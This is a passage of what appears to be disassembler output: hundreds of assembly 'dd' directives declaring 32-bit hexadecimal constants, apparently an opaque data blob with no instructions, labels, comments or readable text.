		dd 0C0077E85h, 46C19538h, 2064A4BAh, 13D30070h,	6CD67EBDh
		dd 8033ECBh, 0C50CC4Bh,	456B98AFh, 2B862685h, 1803407Ch
		dd 527F9E3Bh, 0A006CA2Ah, 1FF49500h, 0AC0792E0h, 437FC5Fh
		dd 8F3D8BD4h, 0A2E0C3BEh, 15808EA0h, 61CCA405h,	0F081A94Eh
		dd 0A420DD48h, 0CDF91D4Fh, 0A65F037Bh, 0B07CAEC2h, 173A270Ch
		dd 2801C0AAh, 95B592h, 1FE0C0F2h, 0EAF48302h, 7527B33Ah
		dd 6CAA8617h, 0F1262003h, 0B023FBACh, 0C32B369Fh, 44613E78h
		dd 8C409165h, 0B7DD8C40h, 3728D3h, 0C0BD51A9h, 0A084EAAEh
		dd 0ACBF0C00h, 0F714AD80h, 34280061h, 3E081B17h, 0F600AA4Bh
		dd 33180276h, 0F93DBFh,	0ABD090ADh, 5E96D4CFh, 2DDC1D26h
		dd 5A16803Ch, 64B859B7h, 1BA10063h, 80537433h, 1909FBF1h
		dd 0C855B0h, 0A244E0F7h, 15D800A7h, 54ACFFF8h, 9400B98Bh
		dd 0E97E370Ch, 7ABD9399h, 49FC1C2Eh, 0B84241C8h, 0E41EB7C6h
		dd 0E11E0C75h, 0F140C1D8h, 36E7DA08h, 80850067h, 4C91022Dh
		dd 0EB50832Eh, 0C000FAACh, 79B0EA8Fh, 0E8953C8Ch, 83E301C9h
		dd 0F93A187Dh, 8708817Ah, 0BE015648h, 0B00BF440h, 2E0774E2h
		dd 80088684h, 55284BADh, 0FA027439h, 293A3370h,	0ED9060BBh
		dd 0D2E70188h, 7144166Dh, 7A5F60D6h, 0C4258100h, 0B1098F4Ch
		dd 147E03BCh, 750FA99Eh, 0EE3DC888h, 4F0A880Eh,	109CE11h
		dd 212296F7h, 0E31B84FCh, 0F23034EDh, 98E60079h, 51AE0660h
		dd 0B703BEB0h, 0F3EABB09h, 49A0F85Ch, 2F701DE1h, 3EF1E8Ah
		dd 78710A7Fh, 0D4488DE9h, 163DFB32h, 0DF23801Ah, 0C757A3B5h
		dd 6F8C051Dh, 803E4336h, 406E77D8h, 2F5CBC00h, 7C8E3BADh
		dd 249087h, 58DB6973h, 1DC5E96Ch, 0FA661417h, 5E69C07h
		dd 348657C0h, 0DCE30974h, 60A0AE7Ch, 778242C1h,	503A1A34h
		dd 784382C5h, 24F9B9E1h, 0E1DC45E2h, 804C2B42h,	0D527AD41h
		dd 0A8C5A9A8h, 1C3378A4h, 0C00FAF29h, 0D4646BB3h, 15E6BA3Eh
		dd 7A3CF100h, 54CF1D95h, 0B8510036h, 49CED0D3h,	4001B27Bh
		dd 968D56F4h, 0C6C4B3ADh, 66A30EA8h, 52207AACh,	31B68B2Bh
		dd 784203Dh, 3A105C64h,	0D48A0590h, 0E5740FDEh,	0C15E0AAAh
		dd 0D7DFBF08h, 20CC60A7h, 0D0987207h, 4CC037ADh, 0F4B5014h
		dd 0ED9E71E3h, 0FEB90EE3h, 0F8E093D1h, 7008FC8h, 0BDE1797Ah
		dd 1E8E8868h, 0AAA5760Ch, 692C00C0h, 0F5193B8Dh, 6B098586h
		dd 109105BBh, 796DF0h, 9E7D8FFCh, 218CBE61h, 84025D00h
		dd 3B1DA932h, 0AC9937h,	4ED168EBh, 3300BE3Ah, 0D3299F28h
		dd 0DB79Bh, 0F476ECC9h,	0A4DC749Dh, 491C4C7Bh, 41000AA1h
		dd 2A2370D1h, 0E6BF031Ch, 24D3B8Ch, 0BA008074h,	0F784033Dh
		dd 8B2262h, 0B476745Ah,	0D8156B55h, 66856900h, 4A8C7BF0h
		dd 37F90E97h, 8E200E64h, 1798C8F6h, 1E6A4C00h, 8CC2553Eh
		dd 9C440006h, 2E3189C3h, 6F05D4C1h, 0CED59A4Dh,	0CD412CC0h
		dd 7A7000B1h, 9E38D8Ch,	0FC01E4B8h, 0CE1C36EAh,	88405432h
		dd 5874AEA6h, 0F800E88Fh, 892D798Ch, 0B0B24248h, 0B8E6A003h
		dd 0C8C518D1h, 57F313Ch, 54B094F9h, 0CE80FE07h,	0F6FE902Dh
		dd 5EAA02E6h, 0DDDA8D27h, 2884A868h, 9E6A4605h,	88C20BC5h
		dd 0B7CB84B9h, 58206095h, 652FDBh, 0D883D266h, 435FCA9Bh
		dd 812EA4E6h, 7F97ACBAh, 94420C00h, 50CFE03h, 0F2146A80h
		dd 0FDDC42Eh, 2D601090h, 3662EB30h, 8641CA06h, 3D780971h
		dd 77810146h, 1BEA083Fh, 74513017h, 0B22F2200h,	0E61ABCD6h
		dd 4D7834h, 0FF61AD9Bh,	0DC08C010h, 8BCB221Ch, 4EF63A40h
		dd 27A7CAh, 4A5B70F3h, 0FA543B01h, 8FE42300h, 0CB822616h
		dd 917C3D72h, 5AF9AB85h, 0A933C0CCh, 8D98EABAh,	0FD43F700h
		dd 79143AD0h, 36D83DD9h, 0E008E280h, 0A8C22D83h, 6634ED00h
		dd 5BCF550Fh, 77FF00FCh, 37929569h, 0BA01DA1Bh,	0BB5D1B7h
		dd 6ED4BFE2h, 0A878BFFAh, 3CA9AC00h, 4FBC47E9h,	397008h
		dd 82D68340h, 7053B578h, 6D0AB41Fh, 14729240h, 0F4C3A31Bh
		dd 0D80B0001h, 2AA74260h, 0C6FC4EB0h, 7AC8F507h, 2C1008FDh
		dd 590CE0Ch, 0A7FC39D5h, 0DA0EC0CAh, 0B5E84E77h, 0D7C7C100h
		dd 0D632D918h, 8B58003Fh, 71BB0C74h, 6B015E49h,	8143458Ch
		dd 0E720EC75h, 3EDBE06Dh, 3E0CD338h, 4110DE7Ch,	552DF504h
		dd 9400D9EDh, 0A72AF7E1h, 8046CD3Dh, 9EC26DF9h,	280BB9Bh
		dd 0B172C9DDh, 0AC842D7Fh, 92670078h, 333BAA1Bh, 9028BF4Eh
		dd 0D0683CC9h, 300F97Eh, 875F7ABAh, 0F0EDC3B4h,	0E4EA1F9Eh
		dd 1C584036h, 0BFB0BD6Eh, 78F97000h, 7D444BFFh,	0E31807CFh
		dd 6043354Ch, 0E4A15F04h, 8C163900h, 0C46DF1F7h, 183FC59h
		dd 0B63C1C47h, 0C8829EFFh, 74000688h, 9D63F4ECh, 232658Ch
		dd 7635E92Eh, 70608DB8h, 80760236h, 0F0BF3007h,	153062CBh
		dd 5D9C22h, 0A0900FB4h,	10848FF8h, 1AD7A800h, 6D97ABB0h
		dd 0EE9601C3h, 244ADEE8h, 2E52C0B8h, 0A853FD1Eh, 1B803680h
		dd 838A60h, 2384290Eh, 4B9B73Fh, 8500A9ECh, 7448B0E7h
		dd 0CA0DB8h, 0FD02FFE0h, 55C7983Ch, 80E4933Dh, 0D336483Eh
		dd 0E6556E3h, 9E73098Dh, 54499FE0h, 5B1E9679h, 0FCC03962h
		dd 0C6B2315Ch, 44450051h
		dd 966F16BDh, 0C2008BDCh, 0D555BECEh, 0DD4C43h,	0EB7B85EFh
		dd 61C724F4h, 8A7FB602h, 40FCAFDAh, 1B04CE9h, 0EFA7BDA4h
		dd 0E965801Ah, 0C8F44022h, 35005081h, 0D40F044Ah, 0E43DFA1h
		dd 0CDC6F418h, 1D3A4821h, 460CC49Eh, 7913700h, 1782A211h
		dd 0F2320041h, 84081309h, 7B014AD8h, 6F99EA9Fh,	61BA2CA5h
		dd 0ED4C5A7h, 0D23C1100h, 1CF50438h, 0C9E8BD3h,	712850BAh
		dd 45FA2016h, 4B49C603h, 572F9943h, 49DFA2E4h, 0C100A0C2h
		dd 27642946h, 993A178Fh, 0D9A41423h, 9B4B0110h,	0B7F1B24Fh
		dd 41E07131h, 6F7300A6h, 0D411A1BAh, 74E82971h,	38A22433h
		dd 1D9006D3h, 587832EEh, 0DE991401h, 0D0F9627Eh, 0BBFE7000h
		dd 0D4F8B703h, 0A061DDE4h, 14DAD83Fh, 74296FC1h, 0D5C7BA04h
		dd 2D720040h, 0E8CC2678h, 0FD27008Fh, 0D1EB0DE0h, 0F6001528h
		dd 0F8190216h, 8C328Bh,	0FC6FF1C1h, 0E8B30C13h,	2F39C5F2h
		dd 1C5C805Ah, 1579499h,	0B08079Dh, 0A14BA0h, 74C081BFh
		dd 0E3B6E700h, 3DC6C9E1h, 84E80079h, 9809E56Bh,	0E9008135h
		dd 8B283783h, 0DFB07Ah,	0BDC7C00Bh, 0D506FBE1h,	3A39B103h
		dd 0B864A921h, 0F798F5h, 0E1E2324Fh, 0B7442EDBh, 2C001EE8h
		dd 0A72BE3D2h, 0E7D3F5Eh, 7AC23111h, 20351892h,	2A398B72h
		dd 0BE1F8062h, 585A21E4h, 0CD7A3909h, 98B29B9Eh, 7DD45976h
		dd 2A950286h, 7ACF5EE5h, 7C108C19h, 0F5032BFDh,	9D6FF825h
		dd 59390FBDh, 7B60504Eh, 2E60F7CDh, 0E249A800h,	2C146E6Bh
		dd 21DB29E0h, 2BC60060h, 60975EFCh, 71801642h, 0A4632BFAh
		dd 0F3EA3701h, 0E27B524h, 0E2482900h, 0F8601360h, 0C036604Dh
		dd 0E53F1E18h, 5EE8BBC4h, 11813C30h, 3A01C2Dh, 0CCF45BFEh
		dd 89E0368h, 90218960h,	0A6A7A2h, 0FD8EBE98h, 3C4BF8F7h
		dd 325D720h, 0D51D06F0h, 0B7E13522h, 5D38808Dh,	4A6E1B9h
		dd 0F73C00EDh, 0EACE808Bh, 0C700444Dh, 42D2DC15h, 7C281E97h
		dd 0C8DFACDh, 886B68E9h, 4B1DA440h, 55801B57h, 91E7E132h
		dd 0C0ABE82Bh, 58B37261h, 0FB0FCE93h, 4F10FE94h, 8EC44005h
		dd 0C0140295h, 39876810h, 4B00B23Ch, 8857DC22h,	530342h
		dd 0A47C842Fh, 7C243C6h, 651D2300h, 29042D7Dh, 136E3C4Bh
		dd 0FEF93600h, 48609681h, 0BA8B4900h, 16E8452Eh, 0EEE55C3Ah
		dd 79F4AC1Eh, 7FD9F900h, 2C2371ABh, 0B0774800h,	7D6322B4h
		dd 52700B6h, 0AFE46CF4h, 0B300EB10h, 3F4F3801h,	4E88Fh
		dd 0C670B7A6h, 0C1393B77h, 0B9085400h, 0D250A823h, 0CFE43C6Dh
		dd 243C9700h, 8078A6F1h, 6002E639h, 0EFA8C418h,	0AC5D0067h
		dd 919EAFD7h, 2200EBF5h, 951FEA03h, 1C3D316Bh, 40D7B15Fh
		dd 751C8E66h, 7E008B22h, 0EA537944h, 1560B03h, 5AF2AFC9h
		dd 0A107B9CBh, 0BA700460h, 3518A2BEh, 7100D404h, 9CA7F424h
		dd 0B32B7Fh, 796B7E5Fh,	61C162D2h, 0E4D0B900h, 1DA413DCh
		dd 7AB002Bh, 5B362612h,	0E1190A7Fh, 8C50E2B4h, 2E9102E4h
		dd 6AF446h, 0AB315993h,	0A0033BBEh, 0BD636B08h,	0CA200184h
		dd 4CB6B785h, 1C204E27h, 80E19D1Ah, 13D82533h, 2E039083h
		dd 0D3AF07ACh, 1C97976h, 63CE9C80h, 907A1F09h, 0EBC38C10h
		dd 78935387h, 0D47C4C0h, 0A65E1C00h, 0FDF5101Dh, 1B3DF877h
		dd 0F86A48D1h, 0E08173F9h, 10D9692Fh, 0F27850h,	682DEAB6h
		dd 0F7889560h, 0C386012Bh, 0A387F429h, 0B48468EEh, 43DE340Ch
		dd 162066h, 6D5504ACh, 0A0A12A31h, 8C309350h, 0B16BF733h
		dd 5D9BC032h, 2048F171h, 0BFAF0458h, 2AFB5A54h,	636E2379h
		dd 44AC2580h, 47515D4Bh, 637CC42Bh, 2BC08B29h, 1FEF05FBh
		dd 0D4D8206Ch, 72082881h, 2E1CBEBCh, 404011D2h,	0C2A82DA1h
		dd 40AB0027h, 6422E19Eh, 4624CF23h, 88823867h, 43A8B35Bh
		dd 4089E20Ch, 0EF9C9B14h, 2051ACE1h, 90EC9E4Bh,	0A2894269h
		dd 79D522EFh, 10B0204Ah, 0A4004268h, 1C7B700Ah,	44DAE110h
		dd 9F466E7Eh, 8C50160Fh, 77812015h, 0A0C7A15h, 0F5782288h
		dd 3A98201Eh, 77FF4910h, 0E2933FF1h, 847C738h, 6327E70Eh
		dd 90EFCD0Fh, 29CC33F3h, 944A8080h, 179BE948h, 827048Fh
		dd 0B00075BEh, 0CE0AABA8h, 9F8A8F1Ch, 17C020B0h, 2BB48547h
		dd 0C240EA4Ah, 20941A2Fh, 0AF10DD08h, 22854F5h,	1808C05Eh
		dd 4E0DDD8h, 80D538E6h,	0C9B9CA10h, 9A49650Fh, 51362047h
		dd 4200A2Ch, 0FDD506C2h, 2D58D083h, 2740B1D7h, 26E27836h
		dd 2310913Fh, 1C710120h, 1F05F5B7h, 0E5906B10h,	29E2CB81h
		dd 8729405Eh, 0A6BF6020h, 0C18D1DD8h, 0D0B3512Ch, 42852734h
		dd 21495AFh, 0F9A55127h, 8153A66h, 0EB709137h, 0CBE7114Ch
		dd 96E3F205h, 377D0840h, 5254A560h, 3C0201Fh, 1469EB1h
		dd 92CB888Fh, 0A1636A07h, 867C21CBh, 0A8333764h, 82AF7400h
		dd 2B276E89h, 2D3C938Fh, 440BEE8h, 2D8998A3h, 6342987Ch
		dd 42280093h, 1FC41B30h, 0B0D4908Fh, 181EAF6Dh,	40025956h
		dd 88D6774h, 155062A0h,	84680AACh, 0F140C257h, 0C0600BD0h
		dd 0C332E42Dh, 2C4C4485h, 15AF7A68h, 20C95094h,	68C668E2h
		dd 8085221h, 49582A62h,	11E4FC9Eh, 0F1CAEF3Ch, 600A9BD3h
		dd 0E9A71140h, 0CFCF472Ah, 58F5C883h, 32135CFh,	0F975128h
		dd 73725502h, 523ED424h, 0C0C160DBh, 0AF2C909h,	5820278Ah
		dd 622185C4h, 9DEB50D4h, 0D7CA0287h, 60BC4AD3h,	9CFF20h
		dd 0FE1013D3h, 1507AB22h, 2CFAEF2Ch, 4147BB60h,	443C2C24h
		dd 0E61154CCh, 1D38C5Eh, 3CB93A4Ch, 0F2880AA7h,	7162D561h
		dd 0C1A0E200h, 4B8489Bh, 6DABD7Ch, 4C8AC77Ch, 51130168h
		dd 0CD40DD59h, 73291F05h, 0F2676020h, 40AFD3FDh, 883CEF13h
		dd 40E89144h, 32B907E6h, 0ACC42A47h, 208CE30h, 2116F1E8h
		dd 0B04C3E2Bh, 28ECF088h, 202D5718h, 38374884h,	0EA160852h
		dd 84F82D8Eh, 0A91C866Eh, 60C07553h, 0F21AAB47h, 0DDB518BCh
		dd 4F6B185Ch, 0A8E31E01h, 6F6EB1C6h, 0A0F192E1h, 80CAC9E3h
		dd 2D7D2051h, 8FBD93E0h, 507A8E88h, 360460ABh, 0B109E092h
		dd 7B43267Ch, 213DF681h, 2B405EE9h, 0C9A020EAh,	0EC9DE40Ah
		dd 21548034h, 95432422h, 0E30B9860h, 1F60AFB2h,	4C40219Eh
		dd 2BBAB563h, 0C120D7BEh, 1DB582C1h, 80660F8h, 0BDEF05F1h
		dd 427ABAF8h, 87BDC1A0h, 3EDADB12h, 5877671h, 2B48DD07h
		dd 20722BC0h, 33637987h, 0BC294631h, 4091731Fh,	11907CE0h
		dd 1F60AF01h, 0FC021E2h, 85EAACF0h, 803C5E45h, 0F7931582h
		dd 7AE24065h, 8F0A809Eh, 20144C8Ah, 20F4AF1h, 2B155701h
		dd 867C3EBCh, 930A3A87h, 0F140BBF4h, 4AE21002h,	88C8018Eh
		dd 7B60F6DEh, 0CFC7D32Bh, 0CEFF5900h, 0C605BB30h, 51E0C513h
		dd 878B2802h, 0CC9420AFh, 8601DB30h, 0FC5378C8h, 0E7E37BA8h
		dd 6715B180h, 7838D8A6h, 28A0CECDh, 9480A754h, 0E920A688h
		dd 0E01D121Ah, 0A2F99C1Eh, 376D0C9Dh, 13189601h, 506F55FEh
		dd 0F4858431h, 7FB74D43h, 0FD2500ECh, 0FEE1F611h, 371E43Bh
		dd 6B4CEB78h, 68101EE8h, 0CE149385h, 780188D2h,	0DBAFC248h
		dd 34CDC441h, 0A5DDE700h, 75E4A3A6h, 9CFB3957h,	52E1FE80h
		dd 0E8337073h, 2BBF4F00h, 0DB78C213h, 5EE001F6h, 0B3C8F09Ah
		dd 5A598019h, 0D935B683h, 0BD430592h, 8289C0C5h, 0C899E86Eh
		dd 71FCE0FAh, 0C2B98718h, 36AE120h, 0E83FD73Bh,	15C9C7FDh
		dd 36E450EAh, 5200482Ah, 6D4457AFh, 603CC5E9h, 24C6BE37h
		dd 0B0ECB1CAh, 57805D18h
		dd 546D1580h, 1C55F0EBh, 4037B103h, 3C3974A7h, 4A001183h
		dd 76B30B71h, 170209C5h, 0EFE2132Ch, 81A5BB00h,	78AC623h
		dd 0A554DEFh, 48DFB274h, 2015A491h, 60C2A16Bh, 0A186FC9Fh
		dd 0E9C741D8h, 44DBC040h, 0B8F83C69h, 5861E318h, 0BD0052C9h
		dd 0B4A3339Eh, 0A171FB6Ah, 0A850C8ACh, 8C5F709h, 0DE868084h
		dd 4C5003BFh, 0C6E93A22h, 6BFB4460h, 848377Dh, 0D7B1007Ch
		dd 62454F59h, 0A1FDF0AEh, 1020C080h, 0EAE11EB2h, 7850B6ADh
		dd 3693C704h, 6840CBE8h, 9E7CB5C2h, 8881E48h, 3B99F117h
		dd 0B16DDD8Ah, 538257A8h, 83CFD9F2h, 3122BF8h, 0F5A5F6C9h
		dd 18050231h, 904CE9DEh, 0CB298047h, 60C8FA66h,	0D39731F7h
		dd 0BD00107Fh, 0F80F28Bh, 0A1DE139h, 0FEF3DF6Fh, 222903C4h
		dd 610ECD1Ah, 7707E97h,	0C3E74D9Bh, 7F77186Ch, 3B721096h
		dd 0C4BF2AF0h, 39C33137h, 0E000FD85h, 0D6011D43h, 0C1860C88h
		dd 6D20C5DFh, 0B5CBFDh,	7D053750h, 147D3B80h, 80C777Dh
		dd 219B4D13h, 4A78C9DBh, 5F9D402h, 0E5CAF0A0h, 6F06C02Ah
		dd 0D1F7795Dh, 0D0B47619h, 52779091h, 487073h, 966E80A7h
		dd 8409B9FDh, 78B36Ah, 4C180B2Ch, 494F18D5h, 1D1638E7h
		dd 0A13F0F1h, 96ADF206h, 699AC1h, 0A1E83D47h, 0EA2EFC9Ch
		dd 45C6B401h, 5EA5E949h, 0F08C8848h, 0FE41098Bh, 808A086h
		dd 4B8E12D8h, 0A5DCF70h, 7B4224F0h, 2C9060C5h, 7A230CC7h
		dd 1E178F4h, 10E40F24h,	81B8D494h, 3D89FDCFh, 0EB0458BEh
		dd 9122FAEFh, 0E83244B4h, 8B3072E0h, 90FDE003h,	76A18FFh
		dd 18BB1054h, 0C3134708h, 0B9B50157h, 0F42789B1h, 0C209FC07h
		dd 1C9F1F7h, 0CD4B4834h, 1764F8F3h, 9C10489Fh, 122C7B07h
		dd 8D904C53h, 0C0E9CB12h, 0AFA75822h, 88DDC40Ch, 9D62AB48h
		dd 7F1886C1h, 154707D9h, 0CF3EEF43h, 9EA62500h,	4AFC6AE4h
		dd 64E3A8C5h, 4DCF8C41h, 84CACC01h, 0E481BD80h,	91047EFBh
		dd 40E3CDF0h, 2F6FD0A0h, 62E46E48h, 11F66218h, 0C38057BFh
		dd 190945F3h, 80C91FC2h, 2D4FDD94h, 9F0D249h, 208BA0h
		dd 32531755h, 82C4D8A3h, 608125E0h, 0C77FEDh, 0AECA23C1h
		dd 0D974FE24h, 75E74861h, 13A800E8h, 0F3887871h, 3A42201Ah
		dd 802308Ch, 8BC27B35h,	0CEC50271h, 0CA08808Fh,	71EB5361h
		dd 3023F011h, 74051F8Ch, 0D6AF6AE0h, 12892083h,	0F47BD8h
		dd 15C8C344h, 585DBCC5h, 0FD88698Ch, 0F5863900h, 0EA13FDF0h
		dd 0BC0D85E6h, 48FFD833h, 6D3C71C1h, 0CFD3912h,	6078A9A0h
		dd 0A7082746h, 3F42334Eh, 78DC3091h, 46085042h,	0D6623A42h
		dd 1C1A19E5h, 0BBC3217Dh, 0EF084739h, 4F45366Eh, 0ABA87831h
		dd 3CA6020Ch, 4286F1EEh, 0E02B28CEh, 0EC766728h, 31114BA3h
		dd 206EE87Ah, 3EB5907Dh, 0F2AA05F7h, 0A860D83Ah, 0A889ED82h
		dd 89AE7E18h, 71F830ABh, 24C2E644h, 14444062h, 8482609Fh
		dd 9610507Fh, 0B2218C5Ah, 759A8AF4h, 61C1C19Ch,	465C08AEh
		dd 53573A22h, 9C9311D8h, 31A10885h, 48DAFE9Ch, 0E2459A6Ch
		dd 76527888h, 29625DC2h, 0E8B3DC82h, 0DCA2D089h, 380CCBE9h
		dd 8F4A566h, 0E442AF3Ah, 4CE33023h, 71DD58ABh, 4C8474F4h
		dd 0F4AE6694h, 94FB4A21h, 0DC23CFAh, 0B010B5F4h, 0C78B8824h
		dd 90DF501Ah, 0EC1822C1h, 96411B4h, 0AFCFA984h,	913B213Fh
		dd 0E4407B12h, 18AC983h, 20214718h, 9C932708h, 64C12888h
		dd 0E892716Eh, 493EC44Ch, 92F16024h, 421851C1h,	2A101F77h
		dd 23DAC4F2h, 42CE309Ch, 84902BBBh, 6C229F8Ah, 9CC40F91h
		dd 38D632CCh, 0F086CF0Eh, 103CA47Bh, 88AE608Dh,	5E93E180h
		dd 8EDF0833h, 5351B010h, 56E22688h, 0E8581A92h,	10613C88h
		dd 10CC4786h, 0EBC44D33h, 0FC724A9Ch, 119FB60Fh, 48C7624h
		dd 0C3341B7h, 933D61A4h, 898C1080h, 30440486h, 2CA780A4h
		dd 69D85562h, 429C2808h, 76118093h, 0C5E531C6h,	462408B5h
		dd 570B1027h, 679CFBC4h, 0D8317DC5h, 82184362h,	8C75F88Ch
		dd 0B4EA3D10h, 613CD48Ah, 1366BBFh, 0B470DB91h,	0B3DE406Dh
		dd 0A81DC42Ch, 3768EF05h, 887FE88Ch, 0F87C6AFEh, 0E3E9ED05h
		dd 0C0C0D4C9h, 0A264C645h, 0FECCC99Ah, 20C451A0h, 0F739F503h
		dd 24527Eh, 0FD8729ADh,	84102DE3h, 80DC5355h, 0B0C3D698h
		dd 0CEE108h, 7DA2DC99h,	0C6398CAFh, 5EF18C0h, 0ED1509C3h
		dd 0C0AC109Dh, 14C7179Bh, 0E083CF2Dh, 0F922FCDh, 133A7B1Fh
		dd 8719658Ch, 4212B900h, 0C5CAC773h, 157C0Dh, 7F928F03h
		dd 0CEE506E6h, 30B1DC33h, 9004E025h, 0EFE20Bh, 150A4EF1h
		dd 9B5C29D7h, 21AF2206h, 89672Fh, 0C6928E6h, 0C923A38Eh
		dd 0E9F1803h, 19606B1h,	0EABDB0A9h, 100F2D19h, 0C0DC4D23h
		dd 1F297629h, 0FB00ED27h, 0FBD8F06h, 187DCFE1h,	0C813D630h
		dd 3D80C7EEh, 14B20089h, 3128B116h, 8328AC4Dh, 56089CA3h
		dd 8CFEE51h, 3CBE328Bh,	0A48F2918h, 0D06AC18Ch,	6C9000E7h
		dd 49AE3E5Ch, 0AD18612Bh, 0AC293AC0h, 1F340CA3h, 53989B4Bh
		dd 2199B51Ch, 0F29F6080h, 541731E5h, 287798B0h,	3A430D6h
		dd 82AFDF15h, 0E145C868h, 77E88668h, 2851E84Dh,	0C3F4CADFh
		dd 42CDB150h, 8F29C10Ch, 1277959h, 352B30E5h, 0F1B1AED3h
		dd 0E243E0EAh, 1811D461h, 0AC50BD9Bh, 0C6DB9E5h, 4D3AC817h
		dd 9FF809D6h, 64B18407h, 7CF7EA6h, 0D8EEBA6Bh, 0A7730E9h
		dd 0B125EF01h, 0BC9EBCE8h, 302A49h, 0D628BF5Ah,	7763ADC0h
		dd 22493506h, 718FA56h,	0E43DC1CBh, 0B3AA800Eh,	0EB77DBEAh
		dd 0A00C6B0Eh, 0CFEF8010h, 0CBAD64h, 0C6BF29E7h, 82337AD5h
		dd 32C4800h, 0C9FE6FC7h, 0DF8F3D59h, 0AA5D1978h, 5080686Ah
		dd 9E12850Ch, 637FC101h, 924DDB39h, 62A9C9E0h, 5B8E202Dh
		dd 19C01893h, 3F00CC9Eh, 2BF0171h, 3EC4B8ACh, 0F9188CB0h
		dd 0B1F3A8D6h, 0C0EEDA30h, 315A79BFh, 5DF1A326h, 0C9E01006h
		dd 58466055h, 0C87AE231h, 88C4B52h, 154A325Dh, 0C8621408h
		dd 220175BAh, 3081FC33h, 0DDF1CCE5h, 2798E041h,	0AA3DD603h
		dd 40D54983h, 0C1998E90h, 5D849091h, 0D6188CD1h, 0C2C40FDh
		dd 26274B3Ch, 34749750h, 0C553E81Eh, 0CEA02877h, 0A00CD025h
		dd 17D83C8h, 0CD010740h, 81E54179h, 0F92D9A58h,	0A88199ADh
		dd 0D1B3FE4Dh, 0BF94D885h, 0D70EAE18h, 14861640h, 0A070840Ah
		dd 9BA20D0Ah, 0B1CB0648h, 0AC395132h, 0A3A8D4B3h, 0EE105962h
		dd 0BBE10028h, 60A30B15h, 62EBCB0h, 77F07100h, 797A73CAh
		dd 9B49C202h, 0CD00D2C5h, 2A4476F0h, 2AB4F197h,	72CAAFDh
		dd 79E3E0F3h, 80D8EAC9h, 112EA87Eh, 7A7C8991h, 0B4395461h
		dd 81852755h, 20F81085h, 0D89BAD24h, 0B2142A7Eh, 814806FFh
		dd 0F9A14E24h, 4CD5A040h, 496B60ABh, 81A77887h,	43EC7E0Fh
		dd 0FED465AEh, 0DF903003h, 5F17DA2h, 0AD2232C4h, 3F0847FCh
		dd 0EE35C1E6h, 0A102048h, 0A8794F19h, 0D5D017A9h, 0F150C04Dh
		dd 0DB37BE7Ch, 8398FE0Dh, 0DF60184Eh, 0C0393851h, 15E8FA01h
		dd 20D33256h, 69C0F360h, 0AD046F78h, 0C090AB3Ch, 304E38FAh
		dd 0F692C7Fh, 800CF4F7h, 597A2384h, 3FA71D9Eh, 93DA83ACh
		dd 0B9505E86h, 73706394h, 0C2348084h, 0B9324D5h, 0EFC443E8h
		dd 3846CB82h, 0F2448C02h, 45602E90h, 42AD0408h,	3A0CC3E8h
		dd 40767FB1h, 0FC2E9588h, 2673F40h, 8DF929A2h, 5840DD05h
		dd 0D93BE71Eh, 92B4C84h, 2D671C1h, 80089058h, 2BBDF32Ch
		dd 254F9882h, 0E056C09Eh
		dd 0F087761Fh, 0D88A64CAh, 20A8F63Dh, 0CD781FACh, 22E97A60h
		dd 1E8833CFh, 0D54FD8EEh, 75009C46h, 53F83E8Ah,	52F849D9h
		dd 18AC19C0h, 9855BEF3h, 46252044h, 0A50E772h, 580ACB10h
		dd 0CCE142B4h, 1020A420h, 0F6311EA2h, 0E3E20A7Ah, 91323C88h
		dd 0E0AF3010h, 543CB301h, 0BA18434Bh, 0E80BC8C0h, 20946289h
		dd 1532183Bh, 811BB20h,	0A1B25AE0h, 309FC208h, 7540A203h
		dd 87DA88A3h, 79B82560h, 14456B30h, 9CD546ABh, 0DA95DE06h
		dd 0F00228D4h, 794E5FAEh, 1684A033h, 9A2266B6h,	0AC7A3A14h
		dd 1126C601h, 80F5C93Ch, 72D824E1h, 1FAD99Dh, 0EEC8781h
		dd 0F8489641h, 0D28599Bh, 0C13DF8F3h, 0C62A45Dh, 2168609h
		dd 0D6EEB8h, 8B61C842h,	4B35B4A0h, 0CAF71500h, 0C9F92CDEh
		dd 0C340C091h, 87F3895Dh, 8866F0EDh, 0CAB8E301h, 7E869808h
		dd 58417C25h, 0AE01871Dh, 0DCF84268h, 21849520h, 32D0C3D3h
		dd 30AF4564h, 5AB3E817h, 0C118DD60h, 48884879h,	0B81DC80Bh
		dd 846FCCE5h, 4C9203B1h, 71753F34h, 3421C885h, 40889EEFh
		dd 4443A9B6h, 49A0100Dh, 0F9AD15FEh, 0EEC600D4h, 0FF1ED2E0h
		dd 88609045h, 0F6158124h, 26CB7C7Fh, 419CAA18h,	304D8D53h
		dd 0F6494964h, 12C00320h, 93C9CD1Bh, 77F803E0h,	8FD80A80h
		dd 0AE3715C0h, 356E531Fh, 0DA7B8C80h, 6E9F9CCh,	8752B8FAh
		dd 1A101836h, 580CCAFEh, 0F608948Dh, 92F355E8h,	0EA1E0619h
		dd 11163BBh, 3087E33h, 2A162EBBh, 0DBA89374h, 0E8012CECh
		dd 758CD485h, 28BCE780h, 8410AF32h, 0F4013E11h,	8BE011CAh
		dd 104287E1h, 0B13106D2h, 2E8A5800h, 0F84A4440h, 0E47800D9h
		dd 0DB7DE379h, 413AD3FCh, 0BB1981B5h, 0F8AF985Ch, 81FA25C8h
		dd 4D388010h, 0B6F69280h, 0C00CA032h, 9A7400BAh, 0F233BB1Ah
		dd 0D1084138h, 8C8CE3FCh, 698F6D3h, 6EFC18DDh, 7B4A40B1h
		dd 182144FAh, 20477916h, 0AE67599Dh, 69602E28h,	15A70E78h
		dd 5CB2624Ch, 72F0187Ch, 8DEE49C0h, 2550FE78h, 0B880F308h
		dd 1F1899Ah, 0A8179755h, 40A2491Fh, 21C727F4h, 0A7F06071h
		dd 676538Ah, 0F1CAE882h, 7300B9FFh, 0C99F790Eh,	0C69804Ch
		dd 2EF8B3F7h, 6400CBF8h, 0A236397Dh, 7A6B5FCh, 9372FF20h
		dd 584B5062h, 7400F2F5h, 21B15297h, 0DEEEE217h,	0AA31E58h
		dd 80846013h, 0F04B26C7h, 483D5FF7h, 6F6B8773h,	8FE02818h
		dd 7057DDh, 719E3568h, 8156B6B5h, 0B45C3100h, 36186621h
		dd 59AF3BFCh, 485498E5h, 6A80FB64h, 0F0678BCEh,	4D01FD4Ah
		dd 0CA804091h, 0FA18C898h, 7911AED4h, 0A467E9Dh, 0AFD975E1h
		dd 0E215859Ch, 52787067h, 37004434h, 0E8079990h, 484FDCFBh
		dd 0C900CD95h, 49DDC3B7h, 11C8E01Dh, 8EAB00ADh,	694DB2ECh
		dd 0E87EEE7Ch, 0FF07B307h, 9B863429h, 507E0040h, 1BC504FEh
